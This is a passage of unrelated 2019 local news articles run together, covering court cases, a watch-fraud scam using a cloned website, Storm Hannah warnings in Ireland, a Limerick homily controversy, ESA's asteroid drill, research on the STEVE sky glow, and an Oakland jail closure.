in Orefield. In a sentencing memorandum, prosecutors called the scheme a serious crime that erodes public trust in elected officials. It is difficult to call this conduct anomalous when the defendant engaged in similar conduct repeatedly with two mayors. The defendant has, however, indicated remorse for his conduct, the memo says. The memo says McTish has resigned from his engineering firm and his engineering license lapsed in 2017. Hes prohibited from renewing it for three years. Given his lack of a license, hes unlikely to commit similar crimes again, the memo says. I am grateful for the opportunity to remain in the community on probation," said McTish in a statement provided by his attorney, Laurel Gift. "I respect the court, the prosecutors, and the manner in which the criminal justice system has handled this case. Pawlowski is serving 15 years in federal prison for accepting multiple bribes in exchange for contracts. Spencer is serving eight years for a similar scheme. Rudy Miller may be reached at rmiller@lehighvalleylive.com. Follow him on Twitter @RudyMillerLV. Find Easton area news on Facebook. Bethlehem police on Thursday served a search warrant as part of a fraud investigation and recovered a Richard Mille wrist watch valued at about $220,000, according to a news release. Richard Mille watches can be worth in excess $2 million, Forbes magazine said. City detectives are trying to return the watch to its owner, Capt. Benjamin Hackett said. Police became aware of the scam when they were contacted by people from overseas about a cloned website that featured a delivery address of 4 E. Fourth St. in Bethlehem, Hackett said. That information allowed police to seek the search warrant, he said. The website mirrored a legitimate site for selling high-end watches, Hackett said. It appears the resident of the apartment was an unwitting participant in an elaborate scam, Hackett said. After a price was agreed upon, victims were told to mail their watches to various addresses, Hackett said. The payment would never arrive, he added. The watches were sent to people who believed they were part of a system that aided charitable organizations overseas, Hackett said. The watches would eventually be shipped to Nigeria, but could bounce around other addresses in the U.S. to cloud the trail, Hackett said. The person who had the watch has not been charged with a crime, Hackett said. Such people in this scam were led to believe the watches had limited value and they were given a small amount of money to facilitate the effort, Hackett said. Since there hasnt been an arrest, the investigation remains open, Hackett said. Other law enforcement agencies are being contacted to see if they are probing the same scam, he added. City police urge extreme caution when exchanging valuables or money through the Internet or by phone or mail, Hackett said. Scams like this one and other variations are common and often seem to be legitimate, Hackett said. Residents who believe they were victimized by a scam or contacted to take part in such activity are asked to call police at 610-865-7187. Tony Rhodin may be reached at arhodin@lehighvalleylive.com. Follow him on Twitter @TonyRhodin. Find lehighvalleylive.com on Facebook. I strongly condemn the mass execution of 37 people this week in Saudi Arabia. Just three years ago a mass execution of 47 people included the respected scholar Shaykh Nimr al-Nimr. The brutal ideology of the Saudi Wahabism has reared its ugly head yet again, without due process for its citizens. This execution will only add fuel to the fire and ignite the cycle of sectarian violence. The kingdom carries out executions in public as a barbaric sport. The fate of Saudi Arabia is in the hands of an insane ruler, MBS Mohammad bin Salman known as Mr. Bone Saw for chopping the body of journalist Jamal Khashoggi. The regime has tried to cover up their failure in Syria and Yemen. Amnesty International says at least 104 people have been executed this year. This cold-blooded act should be unequivocally condemned. The U.S. government must use all possible channels to pressure the Saudis to cease persecuting its Shia Muslim minority. The State Department has turned a deaf ear and blind eye to the gross human rights violations in Saudi Arabia. Muslim communities around the world should call on the United Nations and the International Criminal Court in Hague to investigate and prosecute the House of Saud over its barbarity, genocide, war crimes, and crimes against humanity. Mohammed Khaku Upper Macungie Township Anthony J. Santiago, 25, is wanted on a narcotics charge under a warrant dated Jan. 18, 2019, according to the Warren County Prosecutors Office. Santiago, whose last known address is in the 800 block of Ulster Street in Allentown, is described as 5 feet 7 inches tall and 160 pounds with hazel eyes and black hair. The prosecutors office asks anyone with information about Santiago to contact investigators via a tip line at 908-475-6643, the fugitive unit at 908-475-6272 or via fugitive@co.warren.nj.us. A 24-year-old man caught with over 37,000 of drugs for sale or supply has been given a six-year suspended sentence for drug dealing. Before Portlaoise Circuit Court was Sean Moles of Green Park, Dublin 12, charged with an offence under section 15a of the misuse of drugs act. Garda Ger Doolan gave evidence, along with State barrister, Mr Will Fennelly, that the gardai monitored a vehicle at the Gandon Inn, Emo near Portlaoise, which met up with another vehicle being driven by a lone male. The two vehicles left the forecourt and went to a country lane, and when they reemerged from the lane the gardai stopped them and conducted a search. 2.25 kilograms of cannabis herb was found in the boot of one of the vehicles, worth 37,100. Garda Doolan said a line of inquiry led to the accused, Sean Moules. When arrested, he denied his involvement, and when CCTV footage from the Gandon Inn was shown to him he admitted he had been in the area but said he was just out for a drive. His phone number matched a call made from the phone of the other driver involved, and his fingerprints were found on one of the bags of drugs. The accused pleaded guilty before the circuit court last December. He had no previous convictions. In sentencing, Judge Keenan Johnson said that aggravating factors including the quantity of drugs involved and the negative impact that the drugs could have caused society. Mitigating factors included the fact that the accused is now drug-free. The judge imposed a six-year sentence, suspended for ten years on condition the accused entered into a peace bond to keep the peace and be of good behaviour for ten years; he engages with counselling and remains drug free; he refrains from taking drugs; and he pays 4,000 to the Block Project in Portlaoise. Met Eireann has issued Status Red wind warnings for counties Clare and Kerry as Storm Hannah is set to bring "violent gusts" of wind up to 150 km/h. The Red warning for Clare is from 8 pm to 11 pm on Friday night and the Red warning for Kerry is valid from 6 pm to 8 pm. There are weather warnings covering much of the country for Storm Hannah. Status Orange warnings are in place for all of Munster and Galway while Laois, Connacht, Carlow, Kildare, Kilkenny, Longford, Wexford, Wicklow, Offaly, Donegal, Tipperary and Waterford have a Yellow wind warning. Status RED-Wind Warning for Kerry Northwesterly winds, associated with Storm Hannah, will reach mean speeds in excess of 80 km/h with violent gusts of 130 to 150 km/h in places this evening between 6pm and 8pm. Valid from 18:00 hours Fri, 26-Apr until 20:00 hours Fri, 26-Apr-2019 pic.twitter.com/gzJDXzlThG Met Eireann (@MetEireann) April 26, 2019 Status RED - Wind Warning for Clare Northwesterly winds, associated with Storm Hannah, will reach mean speeds in excess of 80 km/h with violent gusts of 130 to 150 km/h for a time this evening. Valid from 20:00 hours Fri, 26-Apr-2019 until 23:00 hours Fri, 26-Apr-2019 pic.twitter.com/in33m0y5my Met Eireann (@MetEireann) April 26, 2019 Shannon Airport in Clare tweeted a notice earlier today asking passengers to check their flight status with the relevant airline before making their way to the airport during Storm Hannah. A RED Wind Warning has been specifically issued by @MetEireann for Co Clare for #StormHannah Please keep up-to-date with weather warnings, ensure you are prepared for potentially damaging gusts! Be safe and do not take risks in such extreme winds! https://t.co/l6TBUsMidX OEP (@emergencyIE) April 26, 2019 Housing Minister Eoghan Murphy has said the National Directorate Fire and Emergency Management team has been in contact with local authorities associated with Storm Hannah warnings. He has shared a public safety message to stay away from coastal areas and ESB Network staff are on hand in preparation for power outages across the country. .@MetEireann have issued a number of weather warnings for #StormHannah inc. red for Clare. The NDFEM Severe Weather Team in my Dept. have been monitoring the situation and will continue to do so. Please pay heed to the warnings in your local area as conditions will vary. pic.twitter.com/ZFSkSQbFEY Eoghan Murphy (@MurphyEoghan) April 26, 2019 SEE FULL DETAILS OF WEATHER WARNINGS HERE. Two women convicted for stealing from a Naas store have each been jailed for three months at Naas District Court. At the April 24 sitting, Caroline Joyce, 36, Rathoath road bungalow, Rathoath, road, Finglas, Dublin, and Denise Kelly, 40, of 27 Lomond Avenue, Fairview, Dublin 3, were both jailed for three months for the theft from Harvey Norman store at Newhall, Naas on October 11 last. Garda Sergeant Jim Kelly, prosecuting, said that the women took bedding equipment from Harvey Norman but were caught. A search of their vehicle found they had a device for taking tags off goods and a screwdriver. Ms Joyce had ten previous convictions, and earlier this month received a four month suspended jail sentence at Blanchardstown Court. There were previous theft offences in recent years. Tim Kennelly, solicitor for Ms Joyce, said the Naas crime was planned, but that all property was recovered. He said she was a victim of domestic violence and her husband had developed a cocaine habit. He asked Judge Walsh, to give her a chance. He said jail would mean her children would be left without a mother, and their father was not paying maintenance. The court heard that Denise Kelly had nine previous convictions, mainly for theft, and under the Theft and Fraud Act. A single mother, she had just received a certificate from a professional hair salon for hairdressing. The court heard that she has four children and pays under 300 a month towards the 1,500 a month rent, which is subsidised. Total research and development spending in the Eastern & Midland (EM) region, which includes Kildare, was in excess of 1.8bn in 2017, according to recent figures from the Central Statistics Office. The region accounted for 67% of all R&D expenditure, which qualifies for tax relief on corporate profits, and 70% of all labour costs involved. Revenue Commission figures for 2016 say that the cost of tax relief for R&D in 2016, nationally, amounted to 670m, which equates to 27% of the corporate tax liabilities of the 1,506 claimants or companies. Of the 670m, 532m went to companies with 250 plus staff and in sector terms, manufacturing firms took the lions share, 480m. While Kildare is included it would be difficult to quickly establish the amount spent in the county or tax foregone as the EM region includes Dublin, Kildare, Meath, Wicklow, Louth, Longford, Westmeath, Offaly and Laois. SEE ALSO: West Wicklow business owners meet for night of networking There were 16,491 staff involved in business R&D in the EM region in 2017, of which 8% were Phd staff, 23% were listed as technicians, 14% support and 53% as other. The EM region accounted for 60% of all R&D staff. The average salary in the sector was 70,371, obviously different for many depending on qualifications. In the Phd area there were two males for every one female and for all staff the ratio was 3 to 1. In the survey, when enterprises were asked who funded R&D expenditure was funded, they said 82% came from their own company/internal funds, while 6% of expenditure was funded from public funds. Irish owned enterprises reported an increase in R&D spend of 6% or 49m, up from 810m in 2015 to 859m in 2017. Spending by foreign companies was 1.9 billion. Enterprises that employ 250 or more people had the greatest share of R&D expenditure in 2017 with 63% of all actual expenditure, accounting for 1.8bn of the total spend. This was an increase of 43% or 523m on their 2015 spend. Small enterprises with less than 50 people engaged accounted for over 15% of the spend. Medium sized enterprises employing between 50 and 249 people spent 22% of the total. Forty GAA and Croke Park staff members are currently en-route to Leitrim having departed from Croke Park at 8am this morning. The distance of the cycle is approximately 160km, and it will take 40 staff members from under the Michael Cusack statue in Croke Park all the way to Avantcard Pairc Sean MacDiarmada in Carrick-on-Shannon. Along the way they will be stopping for the tae in Enfield in County Meath and Bunbrosna in County Westmeath. So please lend your support if you pass them on their cross-country spin! This is their third charity cycle with Tour de Thurles in 2017 and Rollin2Nowlan in 2018. Those two events combined raised a total of 42,500. The main aim this year is to raise funds and awareness for the five official GAA charities for 2019: Western Alzheimers, Down Syndrome Ireland, Marie Keating Foundation, Enable Ireland, and Focus Ireland. However, it is worth noting that the event has also been very successful at bringing staff members together in a very collaborative way with everyone working together to ensure that the event runs smoothly. This team work approach combined with the fitness element of the actual cycle creates a great buzz in the offices and is very much in line with the GAAs core values. Looking forward to hosting my @officialgaa & @CrokePark colleagues in Lovely Leitrim this Friday after our #croker2carrick charity cycle for the 5 GAA charities 2019. Brainchild of the one and only @kjsexton5 Warm welcome from @LeitrimGAA awaits. Get the bike out @emlynmulligan Colin Regan (@Rego101) April 23, 2019 Speaking at the launch, Event Organiser Kevin Sexton said: The GAA recently released its official manifesto, with the most important line being Where We All Belong. I think this event is a great example of the GAA coming together to assist our charities who, in turn, do tremendous work to directly help out within our communities nationwide. We are all interconnected. Any donation, no matter how big or small, will make a huge difference to the charities and will also make the 160km worthwhile! To donate please click here. Read Also: Manorhamilton women to take part in Cycle Against Suicide Please allow ads as they help fund our trusted local news content. Kindly add us to your ad blocker whitelist. If you want further access to Ireland's best local journalism, consider contributing and/or subscribing to our free daily Newsletter . Support our mission and join our community now. Sligo University Hospital is now providing a weekly outreach antenatal and gynaecology service from the Ballymote Primary and Mental Health Care Centre. Ballymote was chosen as the location to cater for the large catchment area of South Sligo which includes the towns and villages of Ballymote, Tubbercurry, Riverstown and Geevagh. Also in this catchment area are the towns of Boyle and Ballaghaderreen in Roscommon and Charlestown in Mayo and many other towns and villages in between. This is the fourth outreach antenatal and gynaecology service provided by Sligo University Hospital in addition to the existing clinics in Ballyshannon, Manorhamilton and Carrick-on-Shannon. Dr Ravi Garrib, Consultant in Obstetrics/Gynaecology at Sligo University Hospital will lead the clinic in Ballymote, supported by Midwife, Leona Mulvey and the medical team. He said, The aim of the new clinic is to bring high quality care as close to where the women who will use the service live and to avoid unnecessary trips to outpatient appointments in the hospital. The women availing of the service in Ballymote will be seen by me and my team and this is exactly as it would be if we were running a clinic in the hospital. The outreach clinic is in a comfortable, modern building which is easy to access. Once the clinic is established it will also offer midwifery-led care. The outreach clinics in Ballyshannon, Manorhamilton and Carrick on Shannon have proven to be very successful and we expect the same for Ballymote. Women living in the catchment area will automatically be offered an appointment at this clinic from now on. THE future of journalism, Brexit and the countrys housing crisis are among the topics to be discussed this weekend at the Women in Media conference in Ballybunion. And, although the majority of speakers at the three-day event will be women, former Taoiseach Bertie Ahern and housing activist Fr Peter McVerry will be among the weekends guests at Kilcooly Country House. Now, in its seventh year, the Women in Media conference will also attract some of Irelands leading female journalists, broadcasters and politicians. Speaking in advance of the opening session this Friday night, conference founder Joan OConnor said: It is vital that we have a strong media, one that is representative of our society in terms of gender, race and sexual orientation. And one that is committed to telling the truth and to holding authority to account. We are therefore privileged in Ireland to have such strong, influential and dedicated women representing the public interest through the many media platforms that exist today. The opening session will be followed by a session on Women in Literature: Telling our Stories featuring writers Felicity Hayes-McCoy, Sinead Moriarty and Claudia Carroll. The Political Symposium on Saturday will focus on What the Government needs to do to solve our housing Crisis. This will be chaired by University of Limerick Head of Journalism Mary Dundon and the panel will include Sunday Times journalist Justine McCarthy, Fr Peter McVerry; Housing Minister of State Damien English and Labour Housing spokeswoman Jan OSullivan TD. The Women in Media panel will debate Does journalism have a future? and will be chaired by Prime Times Katie Hannon. The panellists will include, RTEs Six One anchor Keelin Shanley, Aine Kerr, co-founder and CEO of Kinzen, Lise Hand, The Times (Ireland Edition), Ellen Coyne, Senior Journalist, The Times (Ireland Edition) and Susan Mitchell, Deputy Editor of the Sunday Business Post. The future of social media will also be debated at a separate session on Sunday morning to be chaired by Ciara Riordan, Social News Editor with the BBC. And an addition to this years agenda will be a panel discussion on Women in STEM which will be chaired by Newstalks Jess Kelly with Vodafones CEO Anne OLeary Harry McCann CEO Trendster Media, Dr. Niamh O'Sullivan, Head of Genetics at UCD and Gillian Keating, I WISH Foundation. On Saturday night at the gala dinner, the Mary Cummins Award for Women of Outstanding Achievement in the Media will be announced. Past winners include Justine McCarthy, Dearbhail McDonald, Geraldine Kennedy, Miriam O Callaghan, Olivia O Leary and Mary Maher. The Joan Kennelly Special Media Award for photography will also be presented on Saturday along with a new award, The Social Media/Influencer Award that will recognise excellence in using new media platforms for good and the impact the influencer has in creating online discourse. For the Brexit debate on Sunday, Bertie Ahern will be joined by Fine Gael MEP Mairead McGuinness. All details at www.womeninmedia.ie A FIFTEEN-year old boy who is accused of robbing another youth in the city centre earlier this year is to stand trial in the district court after a judge refused an application to send the matter forward to the circuit court. The teenager, who cant be named because of his age, is accused of threatening to stab the complainant at OConnell Street at around 2.45pm on January 28, last. It is alleged a brand new smartphone and a small quantity of cash were taken from the complainant after he was followed by the defendant and another youth from a fast food restaurant. During a procedural hearing under section 75 of the Children Act, Sergeant Donal Cronin said the Director of Public Prosecutions had been consulted and had directed trial on indictment at Limerick Circuit Court. Garda Brendan ORielly said it will be alleged the defendant before the court had threatened the complainant that he would be stabbed while his co-accused produced a knife. He said the defendant, who has 12 previous convictions, was well able to take part and participate in the whole (investigative) process following his arrest a number of hours after the incident. He fully understood it, he said adding the defendant is more mature than other children his age. Solicitor Sarah Ryan said her client is living in the city, is not attending school and has grown up in difficult circumstances. She said neither of his parents attended the garda station following his arrest in January and she asked the court to note that they had been late arriving at Limerick Courthouse for the Section 75 hearing. She also asked Judge Mary Cashin to note the contents of a Probation Report which was previously prepared in relation to the teenager. The report, she suggested, was at odds with the garda view that her client is more mature than his age. Having considered the submissions, Judge Cashin said she was inclined to accept jurisdiction particularly given the contents of the Probation Report which was submitted by Ms Ryan. She said the boys age and his personal circumstances were also factors which she had considered in coming to her decision. The defendant was remanded in continuing detention and is due to appear before the court again later this month. A TEENAGE boy who is charged with robbing and assaulting an off-duty garda at a laneway in the city centre is to face trial at the circuit court. The now 17-year-old is being prosecuted in relation to an incident at Augustinian Lane, off Roches Street at around 2.30am on December 12, 2018. It is alleged he targeted the off-duty detective from behind and took his iPhone 6, cigarettes and some loose change after smashing his head off a wall. The Dublin-based detective sustained a concussion as well as serious facial injuries, including a broken nose. He was initially treated at UHL and subsequently attended the Blackrock Clinic in Dublin. During an earlier hearing, under Section 75 of the Children Act, Detective Garda Donnacha Coakley said CCTV has been obtained as part of the investigation and that it will be alleged that after knocking the injured party onto the ground, the youth dragged him further into the laneway before going through his pockets. It was a targeted violent ambush, said Detective Garda Coakley who said the injured party, who is more than six feet tall and aged in his 40s, has still not returned to work. At a procedural hearing before Easter, Judge Mary Cashin was told a book of evidence had been completed and a copy served on the defendant. The judge noted this and formally sent the matter forward to the next sittings of Limerick Circuit Court. Given the seriousness of the allegations, legal aid was extended to include a solicitor, a barrister and a senior counsel. COMMENTS made by an African cardinal and quoted at a church ceremony in Newcastle West at the weekend have caused disquiet among some members of the community there. And, according to a number of people who spoke to the Limerick Leader, a small number of the congregation left the Good Friday ceremonies where Fr John Mockler gave the homily and quoted from the controversial Cardinal Robert Sarah. Fr Mockler did not respond to a request from the Limerick Leader to speak about his homily, which some of the congregation were unhappy about. However, his homily notes seen by the newspaper, read: Cardinal Robert Sarah, the Vaticans prefect of the Congregation for Divine Worship and the Discipline of the Sacraments, has issued a stark warning to all inheritors of Europes Judeo-Christian culture: The West will disappear and Islam will invade the world and completely change culture, anthropology, and moral vision unless we bend the arc of our culture back toward its Judeo-Christian roots. The comments of Cardinal Sarah, allegedly quoted by Fr Mockler, were heard and perceived to be anti-migration and anti-Muslim by some members of the congregation. But according to one church source, Fr Mocklers homily could not be understood as anti-Islam or anti-migrant. Putting it in context, he said, the message was that Christians must practice their Christian faith as diligently as Muslims do. There is room for everybody but we, as one religion, as Christians, are letting down our Christian heritage, turning our back on it and the natural consequence of that is that Christianity will drop off while Islam will flourish because they (Muslims) celebrate their Muslim faith. We do not do that, he said. We can take a leaf from their book. Fr Mocklers homily notes continued quoting the Cardinal saying: The spiritual crisis involves the entire world. But its source is in Europe. People in the West are guilty of rejecting God. My country is predominantly Muslim. I think I know what reality Im talking about. Cardinal Sarah, Fr Mockler said, had highlighted the problem as Christians abandoning their heritage and rejecting God. The Passion narrative should be a sharp reminder to people not to let this happen, Fr Mockler said. One woman at the church described the sermon as hate speech and said people were annoyed and upset about it. Anybody I have spoken to, that is what they took from it, she said. To hear it coming down from the pulpit, I couldnt believe it. A young man who was at the ceremony said he was taken aback by Fr Mocklers words. He was quoting a priest or someone from Rome who was saying that the invasion of migrants and Muslims would destroy Catholicism unless they turned back to Catholicism, he said. And a number of people told the Limerick Leader that members of the congregation left the church but were unable to quantify this. Cardinal Sarah is viewed as a Church traditionalist, whose views on a number of issues appear to differ from those of Pope Francis. A LIMERICK man has spoken about his decision to protest at the parade by Saoradh though the streets of Dublin on Easter Saturday, days after the shooting dead of journalist Lyra McKee by dissident republicans. Seamus Ryan, a columnist for the Limerick Leaders free sister paper The Leader, was in Dublin to attend a number of plays on the day of the protest. Around 200 members and supporters of Saoradh, a self-styled revolutionary party marched down OConnell Street in military uniforms, wearing berets and sunglasses. I just happened to be there outside the GPO when this group of numpties cosplaying as soldiers decided to walk up and down O'Connell Street without an apology on their minds, said Seamus. Less than two days after the murder of #LyraMcKee and these jumped-up little terrorists and terrorism apologists of Saoradh are marching through the city of Dublin as though they had support beyond some shower of gobshites propping up a bar. Not in my name, you little shits. pic.twitter.com/oHzXxpOAii Seamus Ryan (@meanderingtripe) April 20, 2019 Seamus, who has been living in Limerick city centre for 26 years, decided to take a stand against the parade. As there was nothing stopping me from walking into the parade, I did that. I walked at a normal pace through the gang of formation of men in their military fatigues, telling them in fairly strong terms what I thought of them. I said something along the lines of two days after the murder of Lyra McKee in Derry you f*ckers aren't welcome here, get off the streets of my capital city, f*ck off, go f*ck yourselves, Seamus added. Seamus claims that he was then accosted by members of the parade There was a group of chunkily-built heavies who apparently were in charge of the group. One of them stopped me and rather aggressively told me that I was ruining their protest. As he stopped me, I decided to ask him whether he thought it was appropriate to march through Dublin dressed as soldiers two days after a murder in Derry by people associated with the same group that was marching, Seamus explained. I basically got told to f*ck off in a rather physically-threatening way. "A few of the other heavies decided to walk by me, banging off my shoulder as they went. I stood my ground, he added. Seamus says that people must take a stand against parades such as the one on Saturday. We cannot return to the era when local communities in Ireland and Northern Ireland were cowering in their beds at the thought of fools with guns running around. Their way - the way of the gun, the way of violence, the way of intimidation - wasn't ever acceptable and definitely isn't acceptable in 2019, said Seamus. The Leader contacted Saoradh for a reply, but has received no response. AN Taoiseach Leo Varadkar will visit Limerick this Thursday to show his support for a directly elected mayor ahead of the upcoming plebiscite on May 24. Next month, Limerick, Cork city and Waterford will decide whether their electorates should have a directly elected mayor in the future or whether the current system should remain. On May 24, the people of Limerick will be given the opportunity to have their say on whether they want to be able to democratically elect their own mayor, the Taoiseach said. Its the biggest reform of local government in a long time. If the proposal is passed in May, the first election to elect a mayor will take place in Limerick in 2021 with the successful candidate serving until the next local elections in 2024. After that the term of each directly elected mayor will be for five years. It is reported the directly elected mayor will be paid around 100,000 a year and that the office will cost less than 1m to run annually. Power transferred from unelected officials to an elected mayor truly accountable to the people, someone you know, someone you can re-elect if they do a good job and replace if they do not, Mr Varadkar added. Decisions made in Cork, Waterford and Limerick for Cork, Waterford and Limerick rather than in Government Departments in Dublin. Mr Varadkar will attend a Fine Gael meeting at Thomond Park stadium on Thursday, May 2 where the sole topic up for discussion is the plebiscite being put before the electorate next month. The meeting will be hosted by Fine Gael senator and director of elections for the Limerick plebiscite Maria Byrne. Also speaking at the meeting will be Chair of the Shannon Group Board, Rose Hynes and Chair of LiveAble Limerick, John Moran. Those who wish to attend can pre-register at www.fgmatters.com New Zealand Prime Minister Jacinda Ardern greeted the UKs Prince William with a Maori nose press otherwise called the 'hongi' as he was welcomed in Auckland on Thursday. The Duke of Cambridge, second in line to the UK throne, began his two-day visit by attending an Anzac Day memorial service; New Zealand and Australias national day of remembrance. He also met victims of the Christchurch terror attack, which saw 50 people killed at two mosques in March. On behalf of the Queen, William laid a wreath at the Cenotaph memorial in Auckland. Photo Credit: Mark Tantrum What would happen if a giant asteroid slammed into Earth? The European Space Agency (ESA) anticipates a coming crash would send alarmed humans to social media. To be prepared, the agency is launching its first-ever live social media dry run this coming week, highlighting the actions that scientists, space agencies and civil protection agencies might take in the event of a pending and major international asteroid impact. This isn't the first such drill, however. Every two years, asteroid scientists join forces to simulate what they would do if an asteroid collided with the planet. Each participant is assigned a part, such as "national government," "space agency," "astronomer" and "civil protection officer, the ESA reported in a statement. It's always a mystery how the fake catastrophe will play out. To find out, the public is invited to watch updates from the drill live on the @esaoperations Twitter channel, which will run from this coming Monday to Friday (April 29 to May 3). [Doomsday: 9 Real Ways Earth Could End] The exercise itself part of the 2019 Planetary Defense Conference in Washington, D.C. is put on by NASA's Planetary Defense Coordination Office and the U.S. Federal Emergency Management Agency. "The first step in protecting our planet is knowing what's out there," Rudiger Jehn, ESA's head of Planetary Defence, said in the statement. "Only then, with enough warning, can we take the steps needed to prevent an asteroid strike altogether, or to minimize the damage it does on the ground." See more It's not entirely out of this world that an asteroid might strike Earth. As of April 2019, scientists have catalogued about 20,000 asteroids that have an orbit close to our planet. Given that about 150 of these near-Earth asteroids are discovered every month, this number will only increase. The ESA noted that new technologies are helping space agencies learn about asteroids. For example, the ESA's new Flyeye and Test-Bed Telescopes, which are set to be deployed soon, will help the ESA find, confirm and understand these ancient space rocks, the agency said. In the meantime, you can join the ESA on Facebook for two livestream videos from the Planetary Defense Conference. The first will begin at 8 a.m. EDT (14:00 Central European Summer Time) on Sunday (April 28) with Jehn, and the second will begin the morning (midafternoon European time) on Thursday (May 2). Originally published on Live Science. This amateur astronomer's photograph, taken on May 8, 2016, in Keller, Washington, was used in the new research about the celestial phenomenon called STEVE. The major structures are two bands of upper atmospheric emissions located 100 miles (160 kilometers) above the ground: a reddish arc and a green picket fence. Three years ago, a mysterious purplish glow arced across the Canadian skies. The light show was a completely unknown celestial phenomenon, so it was given a name befitting its beauty and grandeur: Steve. Now, scientists have finally pinpointed what causes the phenomenon's glowing ribbons of reddish purple and green: magnetic waves, winds of hot plasma and showers of electrons in regions they normally never appear. A brief history of STEVE On July 25, 2016, observers noticed an odd type of atmospheric light display illuminating the night sky in the Northern Hemisphere. They quickly realized that this was no ordinary aurora and gave it a new name inspired by the film "Over the Hedge" (DreamWorks Animation, 2006); a group of forest animals, confounded by a hedge for the first time, name the unfamiliar object "Steve." (Astronomers later changed that name to STEVE, an acronym for strong thermal emission velocity enhancement.) Preliminary analysis of STEVE found that its optical effects came about differently than an aurora's, but scientists couldn't say what exactly was taking place. [Northern Lights: 8 Dazzling Facts About Auroras] Auroras can trace their origins to the sun, when sunspots spit out clouds of protons and electrons that speed toward Earth on solar winds. Once these charged particles reach the planet, its magnetic field draws them toward the North and South poles. As the particles leave the magnetosphere and bombard the planet's upper atmosphere, they interact with elements such as oxygen and nitrogen to generate swirling ribbons of light. But STEVE's light shows are different from a typical aurora's. STEVE appears farther south, and over more-populated areas, than most auroras do. And unlike an aurora and its trademark greenish swirls that undulate horizontally, STEVE produces a towering vertical purplish or green band, sometimes accompanied by a column of short bars resembling a picket fence, according to the new study. "Completely unknown" In a prior study published in 2018, the same researchers found that STEVE originated in the ionosphere, the zone stretching from about 50 to 375 miles (80 to 600 kilometers) above the ground, where auroras form. But even though STEVE appeared during the same solar-powered magnetic storms that produced auroras, most of the newfound phenomenon's glowing appearance was not the result of charged particles slamming into Earth's upper atmosphere. That conclusion comes from evidence gathered by satellites that passed through a STEVE event in 2008. The new study used that 2008 data, along with satellite data and ground observations from two other STEVE events, to identify two different processes that shape STEVE's light ribbon and picket fence. STEVE's vertical ribbons are illuminated not by a rain of charged particles falling into the atmosphere, but by friction caused by hot plasma flows and powerful magnetic waves about 15,000 miles (25,000 km) above Earth, according to the study. Heat from these flows energizes particles so that they generate purple light, a mechanism similar to the illumination of incandescent lightbulbs. Artist's rendition of the magnetosphere during the STEVE occurrence, depicting the plasma region which falls into the auroral zone (green), the plasmasphere (blue) and the boundary between them, called the plasmapause (red). The THEMIS and Swarm satellites (left and top) observed waves (red squiggles) that power the STEVE atmospheric glow and picket fence (inset), while the DMSP satellite (bottom) detected electron precipitation and a conjugate glowing arc in the Southern Hemisphere. (Image credit: Emmanuel Masongsong, UCLA, and Yukitoshi Nishimura, BU/UCLA) While aurora glows occur when electrons and protons fall into Earth's atmosphere, "the STEVE atmospheric glow comes from heating without particle precipitation," study co-author Bea Gallardo-Lacourt, a space physicist at the University of Calgary in Canada, said in a statement. STEVE's green picket fence, on the other hand, forms as auroras do: when electrons rain down on the upper atmosphere. However, this occurs far south of the latitudes where auroras usually form, "so it's indeed unique," Gallardo-Lacourt said. This distinctive picket fence also appeared in skies over the Northern and Southern hemispheres at the same time, the authors wrote. This demonstrates that the energy source fueling STEVE is abundant enough to create simultaneous light shows in both hemispheres, the study authors said. But scientists still dont know why the phenomenon appears so much farther south than auroras do, meaning that STEVE retains a little of its mystery. The findings were published online April 16 in the journal Geophysical Research Letters. Originally published on Live Science. Alameda County Sheriff Greg Ahern is officially closing the Glenn E. Dyer Jail in downtown Oakland, Ahern told The Chronicle on Friday. Officials may start transferring prisoners as early as next week, and the process would take place in stages over the next several weeks. The announcement comes just days after sheriffs officials confirmed they were considering the move as a cost-cutting measure amid declining inmate populations and rising incarceration costs. The jail is equipped to hold more than 800 people, but its current head count hovers around 400, officials said. Glenn Dyer inmates will be moved to Alameda Countys other facility, Santa Rita Jail in Dublin. The facility is built to hold well over 3,000 people, but its population as of late barely tops 2,100, officials said. Until recently, Santa Rita Jail didnt have the bed space to house the maximum-level and high-security inmates it would need to absorb Glenn Dyers population, Ahern said. The move will save at least $6 million, he said, mostly in staff overtime costs and combining kitchen and medical units. The restructuring could potentially save millions more, Ahern said, adding that no layoffs will occur. This is a very positive development for the safety of our staff and our inmates, and, financially, its a cost savings, he said. Ahern said the consolidation will be a boon for inmate rehabilitation efforts as well. Theyll be able to attend more programming and classes provided by inmate services, he said. We also will be able to have them available to work in re-entry (programs) in a higher number. The transfer has disadvantages as well, though, mostly stemming from Santa Ritas location. While the Glenn Dyer facility is just steps away from the Oakland Police Departments downtown headquarters, the drive to Santa Rita from Oakland is a minimum of 30 minutes. Officers will have to spend more time transporting detainees, which takes away from their time on the streets. The Oakland location is also convenient for many family and attorney-client visits, while Santa Rita is nearly 2 miles from the closest BART station. Ahern said the decision to shutter Glenn Dyer was partly due to a recent federal court order that limits when jail officials can interrupt inmates sleep and extends lights-out hours. The order stemmed from a federal class-action lawsuit by prisoners who alleged extreme sleep deprivation. Because the order delays breakfast by an hour on court days, jail officials now have two hours to do the work they typically did in three, said Sheriffs Office spokesman Ray Kelly. The extra staffing in one location will ensure the Sheriffs Office complies with the courts order and can get medication, food and court transportation out on time. Ahern said he couldnt yet comment on what the county will do with the shuttered jail. The facility, located at 550 Sixth St., is 234,000 square feet, and there are 20 levels in the high-rise portion. Alameda County Supervisor Wilma Chan said she was unaware of Aherns decision to close the facility until informed by The Chronicle on Friday afternoon. I would have preferred if he had discussed it with us, but if hes gone ahead and done that, then its a done deal, she said, adding that she had no idea how empty the jail was. Alameda County Public Defender Brendon Woods said he was shocked by the development, after jail officials said days ago they would conduct a feasibility study with parties who do business at the jail before making a decision. Woods said he wished jail officials would have conducted this study and gathered input from the community. I have not heard anything about it except from the press, he said. Woods said the transfer will add an extra trip for prisoner families and public defenders whose clients would have otherwise been down the street. I think I would have preferred that it gone in reverse, he said. That they would have housed more in the north county (Glenn Dyer) jail as opposed to Santa Rita. Megan Cassidy is a San Francisco Chronicle staff writer. Email: megan.cassidy@sfchronicle.com Twitter: @meganrcassidy The Twenty-Six Words That Created the Internet By Jeff Kosseff Cornell. 313 pp. $26.95 --- More than two decades ago, as members of Congress wrestled with how to build a legal framework around a nascent consumer internet, few really appreciated the future they were shaping. Lawmakers, and later the Supreme Court, struggled to envision how this new technology would work. A big concern was pornography. Some viewed the internet like television, and feared that sexual images were going to come blasting out of screens at unwitting children. Others considered it more analogous to the telephone, a conduit or pipe agnostic to the content passing through it. As we now know, it was neither. The internet, it turned out, is us - a user-generated mirror that reflects our best and worst, our 